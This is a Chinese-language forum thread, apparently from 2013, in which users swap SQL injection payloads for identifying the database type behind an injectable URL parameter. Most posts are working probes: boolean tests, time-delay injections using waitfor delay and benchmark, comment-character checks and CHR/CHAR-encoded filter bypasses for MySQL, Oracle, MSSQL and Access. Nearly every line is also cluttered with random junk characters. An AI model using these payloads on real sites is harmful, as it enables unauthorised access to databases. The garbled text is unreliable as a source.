一个注射点如何最快速确认是什么类型数据库
7 a' V/ {' c3 a& x& \( A& s2 E+ @xsser (十根阳具有长短!!) | 2013-02-05 12:36
7 v! L) L! U9 O- _假设这么一个注射点:
6 Y5 l+ c9 t% l h, J2 ushow.html?id=2
+ X4 \# _( f; B8 E: v3 n6 U& Umysql:id=2 and version()>0$ {/ }8 V& C9 J q
oracle:id=2 and '1'||'1'='11- n+ g" Y& _/ k/ i! a, x7 {
其他的欢迎补充. o& I& K9 W6 `" J6 Y: ^& T, R/ f% P
1#5 {2 y. Y" A4 o
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 12:47
6 [, }2 f) K$ [ B6 z0 C' VAccess:
( O; i* |5 A, }( n+ D6 Y% Z7 F/ faNd aSc(cHr(97))=97! p) ]( m) F1 {/ f |( L
and exists(select id from MSysAccessObjects)+ O$ y0 t' N2 j6 Y8 u% p
SQL Server:
, s+ v& q/ r) m2 h5 c9 v/ Jand exists(select id from sysobjects)
7 d4 S. `- v* q6 X: Y' O# x! wand length(user)>0
3 l2 k- d- a1 W8 V4 {MySQL:, @, G: v7 I8 R* \, {
and length(user())>04 Y$ ~" i; d% j' r0 Q
2#; A! c f% Y* y2 z# w
xsser (十根阳具有长短!!) | 2013-02-05 12:487 o7 G% g& S! J. a+ S
@upload 如果这些都不是呢…
6 W! l" ^2 d8 w( a% w5 @/ `3#
o* {, t" y! u3 m1 s+ Iupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:036 w9 C4 d( F* C4 ]
@xsser 不快速的,延时注入
; j: m s* i% Y! e6 _不知道这样写对不对
. y% Z3 j2 R/ s Y @, Hmssql:id=2 and IF(ascii(SUBSTRING('name',1,1))>0)waitfor delay'0:00:3'; p b/ H0 t" Q
mysql:id=2 and select benchmark(1e8,current_date());
" y* y8 v7 d" j }4#0 d5 R7 x: F% X1 r+ ]" u
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:10; I/ ~! ~; M' V% k T5 S4 R* r, D
最快的貌似是看报错信息
. e* }0 j; ~8 W' Eoracle error
# Z: o5 ?0 j) [& xmssql error: l, G5 F- ^" i w- f0 ~6 p( \: I% |
mysql error) `. h5 H* K, k9 `: T; A4 u
5#& P$ H4 F, o6 q$ n& t# L
Nimda (你们都是坏银~) | 2013-02-05 13:14
4 C# c7 O( Q# J! Q( u小菜献丑来一发 Oracle:id=2 and 0<>(select count(*) from dual): p9 e" V/ E5 R% z/ {
6#- J% X' N% [) R0 j2 ~3 [
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:21+ A& s- K' F3 }
“/*”是MySQL中的注释符,返回错误说明该注入点不是MySQL,继续提交如下查询字符: C" Q$ ^ T. \. D4 t2 T2 x# u
“–”是Oracle和MSSQL支持的注释符,如果返回正常,则说明为这两种数据库类型之一。继续提交如下查询字符:
% h/ J4 O, u4 |' r“;”是子句查询标识符,Oracle不支持多行查询,因此如果返回错误,则说明很可能是Oracle数据库。
" [- S' o0 |: s, H7#1 Z( x; V7 ~2 q: Y0 K+ v8 R
_Evil (HackEnd) | 2013-02-05 13:33+ w, y8 S* C0 ]; Z% b4 w
PostgreSQL
8 m# [1 V2 Y1 N' c5 M8#
% U) Y, J9 h: }upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:42
& O! C8 S" |& a- q& l: _: h切换编码 and 1=12 M$ S; I+ L$ R' ]( o
oracle:6 T. S" V, O$ ^5 j" g
CHR(97) || CHR(110) || CHR(100) || CHR(32) || CHR(49) || CHR(61) || CHR(49)
f" `4 n5 k8 l) ?3 }mssql:
! a& r# }; O V N7 I. k$ ~CHAR(97) + CHAR(110) + CHAR(100) + CHAR(32) + CHAR(49) + CHAR(61) + CHAR(49)
) F3 g* y1 s# O% U' b; i& Qmysql:
2 F' c- B. E% U. nCHAR(97, 110, 100, 32, 49, 61, 49)' N7 s$ I/ M1 Q8 e3 V
9#
5 C; L, Z) j: n: |- _9 z8 mxsser (十根阳具有长短!!) | 2013-02-05 14:31. ]- t- L+ M! u$ Y/ m
@upload 比较常见的数据库这些还是可以判断的,但是还有其他奇葩类型的呢?
( Z0 K- T# x7 w; H10#" g- ?0 L6 L9 ~: Q
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 14:46
, N+ i Y* M8 i' a@xsser 是奇葩数据库类型的么?2 r) ^; _0 M/ V
根据注入的原理,我们可以猜想,要成功的注入,必须使得注入后的一片和谐,那么使用该类数据库特性来判断,综上所述:
8 f1 M# P5 _/ o0 K1.是否可以使用特定的函数来判断,该数据库特有的0 ~8 t: ~- o$ r4 Y
2.是否可以使用辅助的符号来判断,如注释符号、多语句查询符等等
4 [/ y! r2 c$ h4 w3.是否可以编码查询" w. R4 n/ G# u4 y5 P* I/ R) [
4.是否显可以利用错信息
! m3 r q6 V: s9 A- z% Q5 O5.是否存在数据库某些特性辅助判断
' N0 R5 D, u) Z' d9 A* Z个人见解: t% b! x7 {" \7 v
11#. ^3 V. G3 B. S3 U9 ]" l: F
小胖子 (z7y壮士,来,干了这碗酒!) | 2013-02-05 14:55! V; h4 }* z* ]! g
已收藏,mssql可以直接看到错误提示的吧~8 o" F# v( Z$ l3 G$ s" D5 Q, h
12#
# Z1 N8 C8 m6 y& G( i& Y7 Y& BPasser_by | 2013-02-05 15:09
% T! h" K* K; k. n曾被 @GaRY 面过我这题。。。紧张了。。后来回家sqlmap判断注射点的时候抓包看了下。。。一抓包全出来了居然。。( d. Y- w5 Z2 [% k
from:http://zone.wooyun.org/content/260 |